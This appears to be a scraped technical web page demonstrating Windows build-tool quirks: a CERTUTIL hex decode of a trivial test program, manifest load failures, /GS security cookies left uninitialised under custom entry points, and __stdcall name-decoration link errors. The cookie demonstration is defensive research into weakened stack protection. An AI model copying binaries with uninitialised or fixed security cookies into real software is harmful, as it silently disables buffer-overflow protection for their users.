00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 .........text...
06 00 00 00 00 10 00 00 00 02 00 00 00 02 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ............ ..`
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
b8 eb 32 a4 f8 c3 00 00 00 00 00 00 00 00 00 00 ..2.............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Decode the dump file quirk17.txt created in
step 1. to recreate the application
quirk17.exe:
CERTUTIL.EXE /DecodeHex /V quirk17.txt quirk17.exe
Input Length = 4352 Output Length = 1024 CertUtil: -decodehex command completed successfully.
Create the text file quirk17.asm with the following
content in an arbitrary, preferable empty directory:
; Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
.model flat, C
.code
startup proc public
mov eax, -123456789
ret
startup endp
end startup ; emits "/ENTRY:startup" in '.drectve' section Build the console application quirk17.exe from the
source file quirk17.asm created in step 1.:
ML.EXE /X /W3 /Taquirk17.asm /safeseh /link /SUBSYSTEM:CONSOLE
Microsoft (R) Macro Assembler Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: quirk17.asm Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /OUT:quirk17.exe quirk17.obj /SUBSYSTEM:CONSOLE
Create the text file quirk17.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
long wmainCRTStartup(void)
{
return -123456789L;
} Build the console application quirk17.exe from the
source file quirk17.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk17.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk17.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj
Start the console application quirk17.exe built in
step 2. to verify its proper function:
.\quirk17.exe ECHO %ERRORLEVEL%
-123456789
Create the text file quirk17.exe.manifest with the
following content next to the console application
quirk17.exe built in step 2.:
<?xml version='1.0' encoding='US-ASCII' standalone='yes' ?>
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' /> Start the console application quirk17.exe built in
step 2. again to demonstrate the (mis)behaviour:
.\quirk17.exe ECHO %ERRORLEVEL%
The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail. 14001OUCH: although the
application manifest
quirk17.exe.manifest contains perfectly valid
XML, loading
of the application fails with Win32 error 14001 alias
ERROR_SXS_CANT_GEN_ACTCTX!
Remove (really: deny) the execute
access permission from the
NTFS
DACL
of the text file quirk17.exe.manifest created in
step 4, then start the application once more:
ICACLS.EXE quirk17.exe.manifest /Deny "%USERNAME%":(X) .\quirk17.exe ECHO %ERRORLEVEL%
processed file: quirk17.exe.manifest Successfully processed 1 files; Failed processing 0 files Access is denied. 5OUCH: although the text file
quirk17.exe.manifest is only read, not executed,
loading of the application fails with Win32 error 5
alias
ERROR_ACCESS_DENIED!
The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.These statements are but wrong in two points and omit several details:
IMAGE_LOAD_CONFIG_DIRECTORY64
structure in the eleventh entry of the
IMAGE_DATA_DIRECTORY
array in the
IMAGE_OPTIONAL_HEADER
structure matches the size of the
_load_config_used
structure;
strict_gs_check pragma
Create the text file quirk18.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef _WIN64
#ifdef ZERO
DWORD_PTR __security_cookie = 0;
#else
DWORD_PTR __security_cookie = 0xBB40E64E;
#endif // = 3141592654 = 10**9 * pi
extern LPVOID __safe_se_handler_table[];
extern BYTE __safe_se_handler_count;
const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = {sizeof(_load_config_used),
'NULL', // = 2011-08-24 19:09:00 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0, 0, 0, 0, 0, 0, 0, 0,
HEAP_GENERATE_EXCEPTIONS,
0, 0, 0, 0,
&__security_cookie,
__safe_se_handler_table,
&__safe_se_handler_count};
#else
#ifdef ZERO
DWORD_PTR __security_cookie = 0;
#else
DWORD_PTR __security_cookie = 0x00002B992DDFA232;
// = 3141592653589793241 >> 16
#endif // = 10**18 / 2**16 * pi
const IMAGE_LOAD_CONFIG_DIRECTORY64 _load_config_used = {sizeof(_load_config_used),
'NULL', // = 2011-08-24 19:09:00 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0, 0, 0, 0, 0, 0, 0, 0, 0,
HEAP_GENERATE_EXCEPTIONS,
0, 0, 0,
&__security_cookie,
0,
0};
#endif // _WIN64
#ifdef DLL
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return FALSE;
#ifndef _WIN64
if (gsCookie == 0xBB40E64E)
#else
if (gsCookie == 0x00002B992DDFA232)
#endif
dwBuffer = wsprintf(szBuffer,
L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
lpFunction);
else if (gsCookie == 0)
dwBuffer = wsprintf(szBuffer,
L"%ls entry point: /GS security cookie is 0!\a\n",
lpFunction);
else
dwBuffer = wsprintf(szBuffer,
L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
lpFunction, gsCookie);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
UINT uiType = MB_ICONERROR | MB_OK;
#ifndef _WIN64
if (gsCookie == 3141592654)
#else
if (gsCookie == 3141592653589793241 >> 16)
#endif
lstrcpy(szBuffer, L"/GS security cookie is NOT initialised!\n");
else if (gsCookie == 0)
lstrcpy(szBuffer, L"/GS security cookie is 0!\n");
else
{
dwBuffer = wsprintf(szBuffer,
L"/GS security cookie is initialised with 0x%p\n",
gsCookie);
szBuffer[dwBuffer] = L'\0';
uiType = MB_ICONINFORMATION | MB_OK;
}
return MessageBoxEx(HWND_DESKTOP, szBuffer, lpFunction, uiType,
MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
}
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
if (GetConsoleWindow() != NULL)
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
else
WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
return TRUE;
}
#else
#ifdef CONSOLE
__declspec(dllimport)
BOOL WINAPI ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
#else
__declspec(dllimport)
BOOL WINAPI WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID WINAPI wWinMainCRTStartup(VOID)
{
WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
#endif // CONSOLE
#endif // DLL Build the
DLL
quirk18.dll and its import library
quirk18.lib from the source file quirk18.c
created in step 1. with the preprocessor macro DLL
defined:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:I386 CL.EXE /DDLL /LD quirk18.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk18.dll is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk18.c quirk18.c(26) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk18.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk18.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' quirk18.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter quirk18.c(115) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:I386 /out:quirk18.dll /dll /implib:quirk18.lib quirk18.obj Creating library quirk18.lib and object quirk18.exp
Build the console application quirk18.com from the
source file quirk18.c created in step 1. with the
preprocessor macro CONSOLE defined:
SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE CL.EXE /DCONSOLE /Fequirk18.com quirk18.cNote:
quirk18.com is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk18.c quirk18.c(26) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk18.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk18.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE /out:quirk18.com quirk18.obj
Build the application quirk18.exe from the source file
quirk18.c created in step 1. with the
preprocessor macro ZERO defined:
SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS CL.EXE /DZERO quirk18.c
Note: quirk18.exe is a pure
Win32 application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk18.c quirk18.c(26) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk18.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk18.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS /out:quirk18.exe quirk18.obj
...
.\quirk18.com .\quirk18.exe Control.exe "%CD%\quirk18.dll"
__DllMainCRTStartup@12 entry point: /GS security cookie initialised as 0xC97D2381 _wmainCRTStartup@0 entry point: /GS security cookie initialised as 0xAB5E5CC5
Repeat the previous four steps 2. to 5. to build
quirk18.dll, quirk18.com and
quirk18.exe for the x64 alias
AMD64 processor architecture and execute them:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:AMD64 CL.EXE /DDLL /LD quirk18.c SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE CL.EXE /DCONSOLE /Fequirk18.com quirk18.c SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS CL.EXE /DZERO quirk18.c .\quirk18.com .\quirk18.exe Control.exe "%CD%\quirk18.dll"Note: the command lines can be copied and pasted as block into a Command Processor window!
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk18.c quirk18.c(44) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' quirk18.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter quirk18.c(115) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:AMD64 /out:quirk18.dll /dll /implib:quirk18.lib quirk18.obj Creating library quirk18.lib and object quirk18.exp Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk18.c quirk18.c(44) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE /out:quirk18.com quirk18.obj Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk18.c quirk18.c(44) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk18.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS /out:quirk18.exe quirk18.obj _DllMainCRTStartup entry point: /GS security cookie NOT initialised! wmainCRTStartup entry point: /GS security cookie NOT initialised!Oops: ...
The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.Argument passing and naming convention Overview of x64 Calling Conventions __declspec __restrict __sptr, __uptr __unaligned Decorated Names Using Decorated Names Viewing Decorated Names Format of a C++ Decorated Name The MSDN article Format of a C Decorated Name specifies:The function must be defined to use the
__stdcallcalling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.
If the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether
Function name Default for mainCRTStartup (or wmainCRTStartup) An application that uses /SUBSYSTEM:CONSOLE; calls main(orwmain)WinMainCRTStartup (or wWinMainCRTStartup) An application that uses /SUBSYSTEM:WINDOWS; calls WinMain(orwWinMain), which must be defined to use__stdcall_DllMainCRTStartup A DLL; calls DllMainif it exists, which must be defined to use__stdcallmainorWinMainis defined.The functions
main,WinMain, andDllMainare the three forms of the user-defined entry point.
The form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.The MSDN articles __cdecl and __stdcall provide more details. __fastcall __vectorcall
Calling convention Decoration __cdecl (the default) Leading underscore (_) __stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list __fastcall Same as __stdcall, but prepended by an at sign instead of an underscore __vectorcall Two trailing at signs (@@) followed by the decimal number of bytes in the parameter list.
Create the text file quirk19.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef QUIRKS
#define NULL (void *) 0
extern int main(int argc, char *argv[], char *envp[]);
int QUIRKS mainCRTStartup(void)
{
static char *argv[] = {"quirk19", __FUNCDNAME__, NULL};
static char *envp[] = {NULL};
return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
}
#else
int main(int argc, char *argv[], char *envp[])
{
return argc;
}
#endif Compile the source file quirk19.c created in
step 1., first with the preprocessor macro QUIRKS
defined as __stdcall to generate the object file
quirk19.obj for the mainCRTStartup()
function and put it in the object library quirk19.lib,
then again to generate the object file quirk19.obj for
the main() function and link it against the library
quirk19.lib to build the console application
quirk19.exe:
SET CL=/GAFy /W4 /Zl SET LINK=/MACHINE:I386 CL.EXE /c /DQUIRKS=__stdcall quirk19.c LINK.EXE /LIB quirk19.obj CL.EXE /c quirk19.c LINK.EXE /LINK quirk19.obj quirk19.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk19.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries … eventually.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
quirk19.c
Microsoft (R) Library Manager Version 10.00.40219.01
Copyright (C) Microsoft Corporation. All rights reserved.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
quirk19.c
quirk19.c(16) : warning C4100: 'envp' : unreferenced formal parameter
quirk19.c(16) : warning C4100: 'argv' : unreferenced formal parameter
Microsoft (R) Incremental Linker Version 10.00.40219.01
Copyright (C) Microsoft Corporation. All rights reserved.
/MACHINE:I386
LINK : error LNK2001: unresolved external symbol _mainCRTStartup
quirk19.exe : fatal error LNK1120: 1 unresolved externals
Ouch: functions defined to use the
__stdcall calling convention get their name
decoratedwith an at sign and the total size of their arguments;
Link.exe
but references the name decoratedper
__cdecl
calling convention!
Link the console application quirk19.exe using the
decorated
name of the mainCRTStartup() function
and execute it:
LINK.EXE /LINK /ENTRY:mainCRTStartup@0 quirk19.obj quirk19.lib .\quirk19.exe ECHO %ERRORLEVEL%
Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 2
QUIRKS defined as empty or
__cdecl is left as an exercise to the reader.
Gatesparticle with a mass equivalent to some 100 G$.
Use the X.509 certificate to send S/MIME encrypted mail.
Note: email in weird format and without a proper sender name is likely to be discarded!
I dislike
HTML (and even
weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your
nickname.
I abhor top posts and expect inline quotes in replies.
as iswithout any warranty, neither express nor implied.
cookiesin the web browser.
The web service is operated and provided by
Telekom Deutschland GmbH The web service provider stores a session cookie
in the web
browser and records every visit of this web site with the following
data in an access log on their server(s):